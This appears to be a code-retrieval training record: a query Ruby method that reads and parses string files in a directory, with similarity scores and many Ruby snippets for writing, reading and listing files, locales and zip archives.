"def save(dir, data, filename)\n FileUtils.mkdir_p dir\n fn = dir+\"/\"+filename \n puts fn\n open(fn, 'w') { |f|\n f.puts data\n f.close\n }\n end",
"def export_locale(locale)\n @sections_hash.keys.reduce({}) do |memo, section|\n memo[section.name] = export_section_locale(section, locale)\n memo\n end\n end",
"def write(dest)\n path = destination(dest)\n FileUtils.mkdir_p(File.dirname(path))\n Jekyll.logger.debug \"Writing:\", path\n File.write(path, output, :mode => \"wb\")\n Jekyll::Hooks.trigger hook_owner, :post_write, self\n end",
"def write_pages_directory(pages_directory_path)\n tmp_dir_path = '/var/tmp/um/' + Etc.getlogin\n FileUtils.mkdir_p tmp_dir_path\n\n tmp_file_path = tmp_dir_path + '/current.pagedir'\n unless File.exist?(tmp_file_path)\n File.write(tmp_file_path, pages_directory_path)\n end\n end",
"def generate_locale(locale_code, translation_hash)\n locale = {}\n flatten_translations('', translation_hash, locale)\n\n output_file = File.join(@path, \"#{locale_code}.locale.json\")\n\n File.open(output_file, 'w') {|f| f.write(JSON.pretty_generate(locale)) }\n puts \"--> Generated #{output_file}\"\n end",
"def write\n entries = Dir.entries(@input_dir) - %w[. ..]\n\n ::Zip::File.open(@output_file, ::Zip::File::CREATE) do |zipfile|\n write_entries entries, '', zipfile\n end\n end",
"def write\n entries = Dir.entries(@input_dir) - %w[. ..]\n\n ::Zip::File.open(@output_file, ::Zip::File::CREATE) do |zipfile|\n write_entries entries, '', zipfile\n end\n end",
"def save_directories\n CSV.open(filepath('directory.csv'), \"w\") do |csv|\n $known_directories.each do |directory|\n csv << [directory]\n # TO INSPECT ARGUMENT: csv.inspect or interpolation!!!!!!\n end\n end\nend",
"def write(dest)\n path = destination(dest)\n FileUtils.mkdir_p(File.dirname(path))\n Jekyll.logger.debug \"Writing:\", path\n File.write(path, output, :mode => \"wb\")\n\n trigger_hooks(:post_write)\n end",
"def upload_po\r\n\r\n @locales = Dir.entries(\"#{Rails.root}/po\").select do |entry|\r\n File.directory?(File.join(Rails.root, \"po\", entry)) and !(entry =='.' || entry == '..')\r\n end\r\n if request.post?\r\n @errors = {}\r\n @errors[:locale] = \"You must provide a valid locale.\" unless @locales.include?(params[:locale])\r\n if params[:locale_file].nil?\r\n @errors[:locale_file] = \"You must provide a PO file.\"\r\n else\r\n begin\r\n GetPomo::PoFile.parse(File.read(params[:locale_file].tempfile))\r\n rescue\r\n @errors[:locale_file] = \"You must provide a valid PO file.\"\r\n end\r\n end\r\n\r\n # All good move file to the appropriate location and redirect\r\n\r\n if @errors.empty?\r\n FileUtils.mv(params[:locale_file].tempfile, Rails.root.join('po', params[:locale], \"#{Rails.application.class.to_s.split('::').first.downcase}.po\"))\r\n redirect_to locales_path\r\n end\r\n end\r\n end",
"def locales_path=(path)\n # getting rid of the trailing slash\n if path.slice(path.size-1, path.size) == '/'\n path = path.slice(0, path.size-1)\n end\n\n @locales_path = path\n end",
"def write\n\n # output to disk\n File.open(@outfile, 'w:UTF-8') { |file|\n file.write(@buffer)\n }\n end",
"def write_strings(path:,\n strings:,\n file:,\n locale:,\n date:)\n\n content = to_strings strings\n header = header(File.dirname(__FILE__) + '/ios_header.strings',\n file,\n locale,\n date)\n\n merged = header + \"\\n\" + content\n File.write path, merged\n end",
"def save(dir, name=@title)\n\t\tfileName = dir + name + \".chp\"\n\t\tFile.open(fileName, 'w') { |f| f.write(Marshal.dump(self)) }\n\t\treturn self\n\tend",
"def write\n entries = @input_dir.children(false)\n @zip.write entries, @input_dir, ''\n end",
"def apply_locale; end",
"def save_thank_you_letter(id, form_letter)\n # Creates an output directory if there isn't one\n Dir.mkdir(\"output\") unless Dir.exists?(\"output\")\n \n # File name created by specific id's\n filename = \"output/thanks_#{id}.html\"\n \n # Create the file and write the personalized form letter to it\n File.open(filename, 'w') do |file|\n file.puts(form_letter)\n end \nend",
"def write\n File.delete(@output_file) if File.exist?(@output_file)\n\n Zip::File.open(@output_file, Zip::File::CREATE) do |zipfile|\n zipfile.add(mimetype_entry(zipfile), \"#{@input_dir}/mimetype\")\n\n all_entries.each do |file|\n zipfile.add(file, \"#{@input_dir}/#{file}\")\n end\n end\n end"
] |
[
"0.8152813",
"0.7201601",
"0.69882953",
"0.66470236",
"0.65303713",
"0.64872706",
"0.64524055",
"0.6406505",
"0.6266684",
"0.6263246",
"0.6248797",
"0.6108113",
"0.60377336",
"0.60247386",
"0.5920466",
"0.59017855",
"0.57747775",
"0.5753936",
"0.5695618",
"0.5693142",
"0.56929046",
"0.56476474",
"0.5641441",
"0.5638761",
"0.56364137",
"0.56339616",
"0.5622689",
"0.55966634",
"0.5590626",
"0.55741036",
"0.55668527",
"0.5557897",
"0.55431527",
"0.5534236",
"0.5532461",
"0.5516491",
"0.55012864",
"0.54936814",
"0.5485897",
"0.5483044",
"0.54748225",
"0.54680574",
"0.544078",
"0.54385644",
"0.54385644",
"0.54382217",
"0.54311025",
"0.5424688",
"0.54244256",
"0.54060113",
"0.5403283",
"0.53921604",
"0.537845",
"0.535307",
"0.535307",
"0.53459024",
"0.53314054",
"0.5329669",
"0.53221774",
"0.5318541",
"0.53038675",
"0.5298159",
"0.52921754",
"0.52892977",
"0.52834004",
"0.5282835",
"0.52787256",
"0.52612597",
"0.5258494",
"0.5252262",
"0.5250168",
"0.5246537",
"0.524352",
"0.5238091",
"0.52364796",
"0.5233641",
"0.52188504",
"0.5217726",
"0.5214628",
"0.52032286",
"0.52009225",
"0.5198757",
"0.51860577",
"0.5181145",
"0.5174359",
"0.51694703",
"0.51682854",
"0.5165542",
"0.5165542",
"0.5147011",
"0.5146022",
"0.5140748",
"0.5126484",
"0.5114",
"0.51021075",
"0.5096981",
"0.50889957",
"0.50830203",
"0.5078666",
"0.50735885"
] |
0.8565011
|
0
|
==================================== Convenience methods to provide a single point of entry Reads the content of a directory
|
def read(directory)
strings = {}
plurals = {}
files = Dir[directory]
files.each do |file|
ext = File.extname(file)
next unless allowed_extensions.include? ext
parsed_strings, parsed_plurals = parse(File.read(file), ext)
strings = strings.merge(parsed_strings)
plurals = plurals.merge(parsed_plurals)
end
[strings, plurals]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def read_content(entry)\n entry.rewind if entry.respond_to? :rewind\n case entry\n when File, Tempfile, StringIO then entry.read\n when Dir then (entry.entries - ['.', '..']).collect { |filename| read_content(Pathname.new(File.join(entry.path, filename))) }.compact.sort\n when String then entry\n when Pathname then\n if entry.directory?\n read_content(entry)\n elsif entry.file?\n File.open(entry, 'r:binary').read\n end\n end\nend",
"def read_content(dir, magic_dir, matcher); end",
"def read\n self.read_layout\n self.read_directories\n end",
"def directory_contents(path)\n\tputs ''\n\tfor i in get_dir_contents(path)\n\t\tputs i\n\tend\n\tputs ''\n\treturn nil\nend",
"def read_posts(dir); end",
"def read(path); end",
"def getContentsFromFile filetoread\n return File.read(Dir.pwd + '/' + filetoread)\nend",
"def getContentsFromFile filetoread\n return File.read(Dir.pwd + '/' + filetoread)\nend",
"def read\n @resource_paths = Dir.chdir(path) do\n Dir['**/Contents.json'].map { |p| Pathname(p) + '..' }\n end\n @resources = @resource_paths.map do |path|\n Resource.new(self, path)\n end\n self\n end",
"def dir_contents(path, &b)\n path = Pathname.new(path).cleanpath\n if fs.directory?(path)\n entries = fs.entries(path).map do |entry|\n entry_path = path + entry\n if fs.directory?(entry_path)\n dir_item(entry)\n else\n file_item(entry, fs.get_size(entry_path))\n end\n end\n yield entries\n else\n yield Set.new\n end\n end",
"def read_directory(dir_path)\n\n\t# check to see if this is a directory #\n\tif !File.directory? dir_path\n\t\t# display error information #\n\t\tputs \"Error opening directory: #{dir_path}\\n\"\n\t\t# exit #\n\t\treturn\n\tend\n\n\t# loop through directory entries #\n\tDir.foreach(dir_path) {\n\t\t# assign entry #\n\t\t|f|\n\t\t# check if its directory shorts #\n\t if f != \".\" and f != \"..\"\n\t\t\t# check if this is a sub directory #\n\t\t\tif File.directory? dir_path + \"/\" + f + \"/\"\n\t\t\t\t# sub directory - change and display entries #\n\t\t\t\tputs \"Directory: #{dir_path}/#{f}\"\n\t\t\t\tread_directory(dir_path + \"/\" + f) \n\t\t\telse\n\t\t\t\t# file - display name of file #\n\t\t\t\tputs \"File: #{f}\"\n\t\t\tend\n\t\tend\n\t}\n\nend",
"def getContents( name, dir )\n if( /^https?:\\/\\// =~ name )\n begin\n response = Excon.get( name, :expects => [200] )\n rescue Exception => e\n puts \"Error - failed to load #{name}, got non-200 code.\"\n return ''\n end\n response.body\n else\n open('public/' + name).read\n end\nend",
"def read_drafts(dir); end",
"def read(*args)\n IO.read(@path, *args)\n end",
"def process()\n scan_dir('.', '.')\n end",
"def get_entries(dir, subfolder); end",
"def read\n IO.read(full_path)\n end",
"def directory_contents(directory)\n return Dir.glob(File.join(directory, '*'))\n end",
"def read_directories(dir = \"\")\n base = site.in_source_dir(dir)\n\n return unless File.directory?(base)\n\n entries_dirs = []\n entries_pages = []\n entries_static_files = []\n\n entries = Dir.chdir(base) { filter_entries(Dir.entries(\".\"), base) }\n entries.each do |entry|\n file_path = @site.in_source_dir(base, entry)\n if File.directory?(file_path)\n entries_dirs << entry\n elsif Utils.has_yaml_header?(file_path) || Utils.has_rbfm_header?(file_path)\n entries_pages << entry\n else\n entries_static_files << entry\n end\n end\n\n retrieve_dirs(dir, entries_dirs)\n retrieve_pages(dir, entries_pages)\n retrieve_static_files(dir, entries_static_files)\n end",
"def read(files); end",
"def read(files); end",
"def read_directories(dir = T.unsafe(nil)); end",
"def result\n # @param <foo>\n puts ::Dir.entries('/app').join(\"\\n\")\nend",
"def get_content(file_path)\n puts \"getting markdown for: #{file_path}.md\\n\\n\"\n file = File.open(\"data/pages/#{file_path}.md\", \"r\")\n return file.read\nend",
"def main_files\n retrieve_files_in_main_dir\n end",
"def read(*args) IO.read(path, *args) end",
"def retrieve_files_in_main_dir\n ensure_file_open!\n @file.glob('*').map do |entry|\n next if entry.directory?\n\n entry_file_name = Pathname.new(entry.name)\n [entry_file_name, entry.get_input_stream(&:read)]\n end.compact.to_h\n end",
"def read\n filtered_entries.each do |file_path|\n full_path = collection_dir(file_path)\n next if File.directory?(full_path)\n\n if Utils.has_yaml_header? full_path\n read_document(full_path)\n else\n read_static_file(file_path, full_path)\n end\n end\n site.static_files.concat(files) unless files.empty?\n sort_docs!\n end",
"def get_contents \n @contents = []\n\n sub_directory_names = Dir[CONTENT_ROOT_DIRECTORY + \"/*\"]\n\n sub_directory_names.each do |sub_directory_name|\n sub_directory_basename = File.basename(sub_directory_name)\n @contents.push(Content.new(sub_directory_basename))\n end\n end",
"def read_dir(dir, &blk)\n Dir.chdir(dir){\n Dir[\"*\"].each do |folder|\n unless ::File.directory?(folder)\n yield ::File.expand_path(folder)\n else\n read_dir(folder, &blk) unless ::File.symlink?(folder)\n end\n end\n }\n end",
"def readDirectoryFiles(directory,formats)\n files=[]\n Dir.chdir(directory){\n for i in 0...formats.length\n Dir.glob(formats[i]){|f| files.push(f) }\n end\n }\n return files\nend",
"def read_file(absolute_path); end",
"def contents\n File.read(path) if exists?\n end",
"def read(key)\n if ::File.file?(full_key(key))\n ::File.read(full_key(key))\n elsif ::File.directory?(full_key(key))\n Dir.entries('.')[2..-1] #don't return the . and .. directories\n end\n end",
"def read_directories(dir = \"\")\n base = site.in_source_dir(dir)\n\n return unless File.directory?(base)\n\n dot_dirs = []\n dot_pages = []\n dot_static_files = []\n\n dot = Dir.chdir(base) { filter_entries(Dir.entries(\".\"), base) }\n dot.each do |entry|\n file_path = @site.in_source_dir(base, entry)\n if File.directory?(file_path)\n dot_dirs << entry\n elsif Utils.has_yaml_header?(file_path)\n dot_pages << entry\n else\n dot_static_files << entry\n end\n end\n\n retrieve_posts(dir)\n retrieve_dirs(base, dir, dot_dirs)\n retrieve_pages(dir, dot_pages)\n retrieve_static_files(dir, dot_static_files)\n end",
"def read\n open(fullpath, 'r') do |io|\n if block_given?\n yield io\n else\n io.read\n end\n end\n end",
"def entries\n Dir.chdir(@output_dir) do\n Dir['*.json']\n end\n end",
"def read_content(name, resource)\n read(name, resource) do |file|\n if file.header.typeflag == \"2\"\n return read_content(name, File.absolute_path(file.header.linkname,File.dirname(resource)))\n end\n if file.header.typeflag != \"0\"\n raise NotAFile.new(\"not a file\", {'path' => resource})\n end\n return file.read\n end\n end",
"def read_content_from_file(file_path)\n names = file_path.split('/')\n file_name = names.pop\n directory = self.mkdir(names.join('/'))\n directory.children[file_name].content\n end",
"def read\n @site.layouts = LayoutReader.new(site).read\n read_directories\n read_included_excludes\n sort_files!\n CollectionReader.new(site).read\n ThemeAssetsReader.new(site).read\n read_data\n end",
"def read_directory(clust)\n\t\tDirectory.new(self, clust)\n\tend",
"def for(file_or_dir); end",
"def read_files(file_path)\n\tlist=Dir.entries(file_path)\n\treturn list\nend",
"def retrieve_posts(dir); end",
"def read_content(dir, magic_dir)\n @site.reader.get_entries(dir, magic_dir).map do |entry|\n Draft.new(site, site.source, dir, entry) if Draft.valid?(entry)\n end.reject do |entry|\n entry.nil?\n end\n end",
"def file_system(op, path)\n path = @mudlib_path + path\n if op == :ls\n return Dir.entries(path)\n elsif op == :cat\n if File.file?(path)\n\treturn File.read(path)\n else\n\treturn \"File not found\"\n end\n end\n end",
"def directory(dir); end",
"def contents(id = '')\n folder = id.empty? ? box_client.root_folder : box_client.folder_by_id(id)\n values = []\n\n folder.items(ITEM_LIMIT, 0, %w[name size created_at]).collect do |f|\n values << directory_entry(f)\n end\n @entries = values.compact\n\n @sorter.call(@entries)\n end",
"def read\n @read ||= File.read(path)\n end",
"def read\n site.defaults_reader.read\n site.data = site.collections.data.read.merge_data_resources\n read_layouts\n read_directories\n read_includes\n sort_files!\n read_collections\n site.config.source_manifests.select(&:content).each do |manifest|\n PluginContentReader.new(site, manifest).read\n end\n end",
"def read_file(path)\n api.read_file container_name, path\n end",
"def read(name)\n File.open(path(name)) do |f|\n f.read\n end\n end",
"def read_publishable(dir, magic_dir, matcher); end",
"def read_content(dir, magic_dir, matcher)\n @site.reader.get_entries(dir, magic_dir).map do |entry|\n next unless matcher.match?(entry)\n\n path = @site.in_source_dir(File.join(dir, magic_dir, entry))\n Document.new(path,\n :site => @site,\n :collection => @site.posts)\n end.tap(&:compact!)\n end",
"def file_contents(full_path)\n\t\t::File.read(full_path)\n\trescue Errno::ENOENT\n\t\traise Rush::DoesNotExist, full_path\n\tend",
"def file_contents(full_path)\n\t\t::File.read(full_path)\n\trescue Errno::ENOENT\n\t\traise Rush::DoesNotExist, full_path\n\tend",
"def read(src_path)\n if File.exist?(src_path) && !File.directory?(src_path)\n File.read(src_path)\n else\n \"\"\n end \n end",
"def read(filename)\n if File.exist? File.join(@directory, filename)\n File.open(File.join(@directory, filename)).read()\n # elsif @output_directory && File.exist?(File.join(@output_directory, filename))\n # # elsif @output_directory && File.exist?(File.join(@output_directory, filename))\n # File.open(File.join(@output_directory, filename)).read()\n else\n File.open(filename).read()\n end\n end",
"def read_data_to(dir, data); end",
"def contents\n read\n end",
"def read_content(site, dir, magic_dir, klass)\n site.get_entries(dir, magic_dir).map do |entry|\n klass.new(site, site.source, dir, entry) if klass.valid?(entry)\n end.reject do |entry|\n entry.nil?\n end\n end",
"def run_through_directory\n@file_array = []\n Dir.foreach('text_files') do |item|\n next if item == '.' or item == '..'\n @file_array << item\n end\nend",
"def dir(*) end",
"def read\n file\n end",
"def read file\n File.open file\n end",
"def read_data_file(path); end",
"def directorytraversaltest\n Dir.foreach('./jsons/') do |item|\n next if item == '.' or item == '..'\n\n #print item.pretty_inspect\n puts item\n\n #it doesn't appear to treat 'item' as a file object it is a just a string of the filename..\n obj = JSON.parse(File.read('./jsons/' + item))\n print obj[0][\"_source\"][\"description\"]\n puts \"\\n\"\n end\n end",
"def read_machine_folder\n end",
"def get_dir_contents(path)\n\tfolder_metadata = @client.metadata(path)\n\tcontents = folder_metadata['contents']\n\n\tcontents_paths = []\n\tfor i in contents\n\t\tcontents_paths << i['path']\n\tend\n\tcontents_paths\nend",
"def readdir(path, fileinfo)\n puts \"#readdir \" + path\n [\"hello.txt\"]\n end",
"def read_file(file)\n text_file = (path.ftype == \"directory\" ? path : Pathname.new(path.dirname)) + file\n File.read(text_file) if File.exists?(text_file)\n end",
"def readdir(path, fileinfo)\n puts \"#readdir \" + path\n path == \"/\" or @root.directory?(path) and @root.contents(path)\n end",
"def children\n # Check to see whether dir exists.\n Slimdown::Folder.new(@absolute_path.chomp('.md')).pages\n end",
"def read_dir(domain) \n Dir.new(\"#{@path}/#{domain}\").each do |service|\n @manager.message_stack << ServiceUnPacker.new(@path, domain, service) if ServiceUnPacker.supported_file_type?(service)\n \n service_dir = \"#{@path}/#{domain}/#{service}\"\n next if service =~ /^\\.{1,2}/ || !File.directory?(service_dir) \n @current_structure[domain] ||= []\n @current_structure[domain] << service\n end\n end",
"def list\n factory.system.list(@path).collect do |item|\n candidate = dir(item)\n if (not candidate.exists?)\n candidate = file(item)\n end\n candidate\n end\n end",
"def directory; end",
"def directory; end",
"def files(*args)\r\n LocalDirectory.current.files(*args)\r\n end",
"def ls(filename)\n if File.directory?(filename)\n puts(Dir['./' + filename + '/*'])\n elsif File.file?(filename)\n puts(filename)\n else \n puts(\"error\")\n end\nend",
"def readlines(*args)\n IO.readlines(@path, *args)\n end",
"def read_publishable(dir, magic_dir, matcher)\n read_content(dir, magic_dir, matcher)\n .tap { |docs| docs.each(&:read) }\n .select { |doc| processable?(doc) }\n end",
"def read!\n path = pathname\n path.glob('*').each do |file|\n #next if file.to_s.index(/[.]/) # TODO: rejection filter\n name = file.basename #path_to_name(file, path)\n self[name] = get!(file) unless key?(name)\n end\n self\n end",
"def read_dirs(indir)\n @all_files = []\n Dir.chdir(indir)\n all_dirs = Dir.glob('*').select { |f| File.directory? f }\n\n @all_files = Dir.glob(\"**/*\").select { |f| File.file? f }\n all_dirs = Dir.glob('*').select { |f| File.directory? f }\n all_dirs.each do |subdir|\n read_dir(subdir)\n end\n end",
"def read(path)\n entries[self.class.path(path)]\n end",
"def config_read\n f = File.expand_path(CONFIG_FILE)\n return unless File.readable? f\n\n hash = loadYML(f)\n @used_dirs = hash['DIRS']\n @visited_files = hash['FILES']\n @bookmarks = hash['BOOKMARKS']\n @used_dirs.concat get_env_paths\nend",
"def import_content(directory, parent_folder = nil)\n Dir.new(directory).each do |path|\n next if path.match(/^\\.+/)\n \n # Create a new Webbastic::ContentDir object for every folders\n if FileTest.directory?(File.join(directory, path))\n if parent_folder\n @folder = parent_folder.children.create :name => path\n else\n @folder = self.folders.create :name => path\n end\n import_content(File.join(directory, path), @folder)\n \n # Create a new Webbastic::Page object for every files\n # and read its content to put it in a static widget\n else\n if parent_folder\n @page = parent_folder.pages.create :name => path, :layout => self.default_layout\n else\n @page = self.pages.create :name => path, :layout => self.default_layout\n end\n \n file = File.new(File.join(directory, path), \"r\")\n content = \"\"\n while (line = file.gets)\n content << line\n end\n file.close\n \n @page.add_static_content\n end\n end\n end",
"def file_content(path)\n cont = \"\"\n File.open(path) do |fil|\n cont = fil.read\n end\n cont\nend",
"def enumerate_files search_path\n Enumerator.new do |e|\n Dir\n .glob(search_path)\n .each do |filename|\n if File.file?(filename)\n $stderr.puts \"Reading #{filename}\" if $verbose\n File.open filename do |file|\n e.yield file.read()\n end\n end\n end\n end\nend",
"def read\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}----------------------------------------\"\n end\n\n # Determine the inode number of the file we want to read.\n @inode = `ls -i #{@pathname.to_s}`.split[0].to_i\n\n # Read the meta info file for the file we want to read.\n meta_info = read_meta_info\n\n if meta_info[:inode] != @inode\n # The inode has changed for this file since we last read it, so\n # we need to read it from the beginning.\n\n offset = 0\n\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}: inode has changed!\"\n puts \"[DEBUG] - #{self}##{__method__}: offset: #{offset}\"\n end\n\n @read_string = IO.read(@pathname, nil, offset, mode: 'r')\n @read_bytes = @read_string.bytesize\n elsif @pathname.size < meta_info[:bytes_read]\n # The inode has not changed, but the file size is smaller, which means\n # the file may have been truncated at some point, so we will read the\n # while file.\n\n offset = 0\n\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}: inode match. possible truncated file.\"\n puts \"[DEBUG] - #{self}##{__method__}: offset: #{offset}\"\n end\n\n @read_string = IO.read(@pathname, nil, 0, mode: 'r')\n @read_bytes = @read_string.bytesize\n else\n # The inode is the same as the last time we read it and the file size\n # is >= than last time, so we can read from where we left off.\n\n offset = meta_info[:bytes_read]\n\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}: inode match\"\n puts \"[DEBUG] - #{self}##{__method__}: offset: #{offset}\"\n end\n\n @read_string = IO.read(@pathname, nil, offset, mode: 'r')\n @read_bytes = meta_info[:bytes_read] + @read_string.bytesize\n end\n\n @data_read = true\n\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}: inode: #{@inode}\"\n puts \"[DEBUG] - #{self}##{__method__}: read_string: #{@read_string}\"\n puts \"[DEBUG] - #{self}##{__method__}: read_bytes #{@read_bytes}\"\n puts \"[DEBUG] - #{self}##{__method__}: data_read: #{@data_read}\"\n end\n end",
"def ls( *args )\r\n \r\n directory = nil\r\n opts = {}\r\n \r\n case args.count\r\n when 1\r\n if args[0].kind_of? Hash\r\n opts = args[0]\r\n else\r\n directory = args[0]\r\n end\r\n when 2\r\n directory = args[0]\r\n opts = args[1] \r\n end\r\n \r\n # args are the RPC arguments ...\r\n args = {}\r\n args[:path] = directory if directory\r\n args[:recursive] = true if opts[:recurse]\r\n args[:detail] = true if opts[:detail] \r\n args.delete(:detail) if( args[:detail] and args[:recursive])\r\n \r\n # RPC output format, default is XML\r\n outf = { :format => 'text' } if opts[:format] == :text\r\n \r\n got = @ndev.rpc.file_list( args, outf )\r\n return nil unless got\r\n \r\n return got.text if opts[:format] == :text\r\n return got if opts[:format] == :xml\r\n \r\n # if we're here, then we need to conver the output \r\n # to a Hash. Joy!\r\n \r\n collect_detail = args[:detail] || args[:recursive]\r\n \r\n ls_hash = {}\r\n got.xpath('directory').each do |dir|\r\n \r\n dir_name = dir.xpath('directory-name').text.strip\r\n dir_hash = {}\r\n \r\n dir_hash[:fileblocks] = dir.xpath('total-file-blocks').text.to_i\r\n files_info = dir.xpath('file-information')\r\n \r\n dir_hash[:files] = {} \r\n dir_hash[:dirs] = {} # sub-directories\r\n \r\n files_info.each do |file|\r\n f_name = file.xpath('file-name').text.strip\r\n f_h = {} \r\n \r\n if file.xpath('file-directory')[0]\r\n dir_hash[:dirs][f_name] = f_h\r\n else\r\n dir_hash[:files][f_name] = f_h \r\n end\r\n \r\n next unless collect_detail\r\n \r\n f_h[:owner] = file.xpath('file-owner').text.strip\r\n f_h[:group] = file.xpath('file-group').text.strip\r\n f_h[:links] = file.xpath('file-links').text.to_i\r\n f_h[:size] = file.xpath('file-size').text.to_i\r\n \r\n xml_when_item(file.xpath('file-symlink-target')) { |i|\r\n f_h[:symlink] = i.text.strip\r\n }\r\n \r\n fp = file.xpath('file-permissions')[0]\r\n f_h[:permissions_text] = fp.attribute('format').value\r\n f_h[:permissions] = fp.text.to_i\r\n \r\n fd = file.xpath('file-date')[0]\r\n f_h[:date] = fd.attribute('format').value\r\n f_h[:date_epoc] = fd.text.to_i\r\n \r\n end # each directory file\r\n ls_hash[ dir_name ] = dir_hash \r\n end # each directory\r\n \r\n return nil if ls_hash.empty?\r\n ls_hash\r\n end",
"def read(entry); end",
"def read_todos(filename)\n File.readlines(filename)\nend",
"def readlines(*args) IO.readlines(path, *args) end",
"def read\n @epub.file.read(abs_filepath)\n end",
"def read_file(path)\n result = run(\"cat #{path}\")\n result.success? ? result.output : ''\n end",
"def get_content(folder = nil, sort = nil)\n abs_path = folder ? ROOT + folder : ROOT\n \n # build array if pairs: [filename, :type, is_textfile]\n sorter = case sort\n when 'name' then '| sort -f'\n when 'ctime' then '-c'\n when 'mtime' then '--sort=time'\n when 'size' then '--sort=size'\n else ''\n end\n\n list_files(abs_path, sorter).map do |obj|\n file_path = abs_path + obj\n [obj,\n if file_path.file?; :file\n elsif file_path.directory?; :dir\n elsif file_path.symlink?; :link\n end,\n \n !!`file \"#{file_path.to_s.shellescape}\"`.force_encoding(Encoding::UTF_8).sub(file_path.to_s, '').index(/text/i)\n ]\n end\n end",
"def read\n @contents ||= File.read @src_path if readable?\n end",
"def directory_index\n end",
"def read(*args)\n #This is a stub, used for indexing\n end",
"def dir; end",
"def dir; end"
] |
[
"0.72681445",
"0.70044273",
"0.69144374",
"0.6873336",
"0.6811239",
"0.6739954",
"0.66171944",
"0.66171944",
"0.65765476",
"0.643254",
"0.63712",
"0.63476497",
"0.633005",
"0.63291174",
"0.6316887",
"0.62841547",
"0.62769",
"0.62662345",
"0.62609065",
"0.62460655",
"0.62460655",
"0.6245996",
"0.62217027",
"0.6209637",
"0.61946714",
"0.6189561",
"0.6176018",
"0.61712646",
"0.6169407",
"0.61608434",
"0.61606276",
"0.6104411",
"0.6101162",
"0.6099634",
"0.6091382",
"0.6086455",
"0.6074385",
"0.60662055",
"0.6038975",
"0.599304",
"0.5992619",
"0.59877825",
"0.5986054",
"0.5974013",
"0.5965379",
"0.59578484",
"0.5910478",
"0.5906695",
"0.5898109",
"0.5879738",
"0.5857929",
"0.5843313",
"0.583829",
"0.5828321",
"0.5827135",
"0.5827135",
"0.58196163",
"0.5806371",
"0.57990044",
"0.5794759",
"0.5790334",
"0.5771252",
"0.5766307",
"0.57563025",
"0.5754345",
"0.5748544",
"0.5727569",
"0.5718959",
"0.5713132",
"0.56814307",
"0.5672691",
"0.56652266",
"0.56560165",
"0.56550086",
"0.5637424",
"0.5616018",
"0.5616018",
"0.561368",
"0.56014866",
"0.5601136",
"0.559874",
"0.5588493",
"0.55836624",
"0.55827606",
"0.5580022",
"0.5578353",
"0.55781597",
"0.55717814",
"0.55707806",
"0.5564882",
"0.55639714",
"0.5559303",
"0.5558753",
"0.55542487",
"0.5551696",
"0.55378836",
"0.5536177",
"0.553078",
"0.5524441",
"0.551456",
"0.551456"
] |
0.0
|
-1
|
Fills the header placeholders
|
def header(path, file, locale, date)
File.read(path)
.gsub('<file>', file)
.gsub('<locale>', locale)
.gsub('<date>', date.to_s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def setup_header(dat)\n @headers = { to: to }\n dat.each do |key, val|\n key = key.to_s.downcase\n raise \"invalid field #{key}\" unless valid_fields.include?(key)\n @headers[key.to_sym] = val unless val.nil?\n end\n end",
"def insert_headers headers = []\n @headers = Hash[headers.map.with_index { |e, i| [e, i] }]\n define_row(@headers)\n\n @has_headers = false\n end",
"def prepend_header(name, value)\n end",
"def build_group_header \n pad(10) do\n add_text(data.name, :font_size => 14, :justification => :center) \n add_text(data.data.first.get(\"Address\"), :font_size => 12, :justification => :center)\n end\n data.remove_column(\"Address\") \n end",
"def header_build\n header = \"customer name\" + @delimiter + \"gender\" + @delimiter\n header += \"age\" + @delimiter + \"birthday\" + @delimiter + \"cpf\" + @delimiter + \"id\" + @delimiter\n header += \"state\" + @delimiter + \"city\" + @delimiter + \"street\" + @delimiter + \"zip_code\" + @delimiter\n header += \"company name\" + @delimiter + \"industry\" + @delimiter + \"cnpj\"\n header\nend",
"def prepare_header_cells(table_header)\n cells = @parser.find(table_header).find_children('tr').find_children(\n 'th'\n ).list_results\n cells.each do |cell|\n next unless Hatemile::Util::CommonFunctions.is_valid_element?(cell)\n\n @id_generator.generate_id(cell)\n cell.set_attribute('scope', 'col')\n end\n end",
"def fill_header(response); end",
"def header=(_arg0); end",
"def create_header\n @sheet.row(0).concat @header_row\n end",
"def create_header(meta_data)\n station = meta_data.station\n start_date = meta_data.start_date\n @header = I18n.t(\"forecast_text.main.header_start\")\n @header.concat(station.name)\n @header.concat(I18n.t(\"forecast_text.main.header_conn\"))\n @header.concat(start_date.to_s)\n nil\n end",
"def write_headers\n @sheet.row(0).replace [header]\n @sheet.row(3).replace name_header_row(@player.longs.first.ticker_name, @player.shorts.first.ticker_name, @player.calls.first.ticker_name)\n @sheet.row(4).replace data_header_row(long_short_headers, long_short_headers, call_put_headers)\n\n @sheet.row(17).replace name_header_row(@player.futures.first.ticker_name, 'Total P&L', @player.puts.first.ticker_name)\n @sheet.row(18).replace data_header_row(long_short_headers, overall_headers, call_put_headers)\n end",
"def build_header(keys_template)\n header = ''\n names = []\n keys = deep_copy(keys_template)\n\n keys.each { |key|\n begin\n if @config.header_mappings.any? { |k| k.include? key }\n\n header_label = key\n\n @config.header_mappings.each { |k, v|\n if header_label.include? k\n header_label.gsub!(k, v)\n end\n\n }\n names << header_label\n\n elsif @config.header_overrides.split(',').include?(key)\n names << key\n elsif key.include?('coordinates')\n names << key\n elsif key.split('.')[-1].is_i?\n names << key\n else\n #We want to grab the last element and add it to the array.\n name = key.split(\".\")[-1]\n\n if !names.include?(name)\n names << name\n else\n if key.split(\".\")[-2].is_i?\n name = key.split(\".\")[-3..-1].join(\".\")\n else\n name = key.split(\".\")[-2..-1].join(\".\")\n end\n\n if !names.include?(name)\n names << name\n else\n name = key.split(\".\")[-3..-1].join(\".\")\n if !names.include?(name)\n names << name\n else\n #p \"No action taken. #{name} not added to name array. (build_header)\"\n end\n end\n end\n end\n rescue Exception => e\n AppLogger.log.error(\"ERROR in build_header method with #{key}: #{e.message}\")\n end\n }\n\n header = CSV.generate do |csv|\n csv << names\n end\n\n header\n end",
"def header(format, ntrks, division)\n end",
"def header_insert\n super\n end",
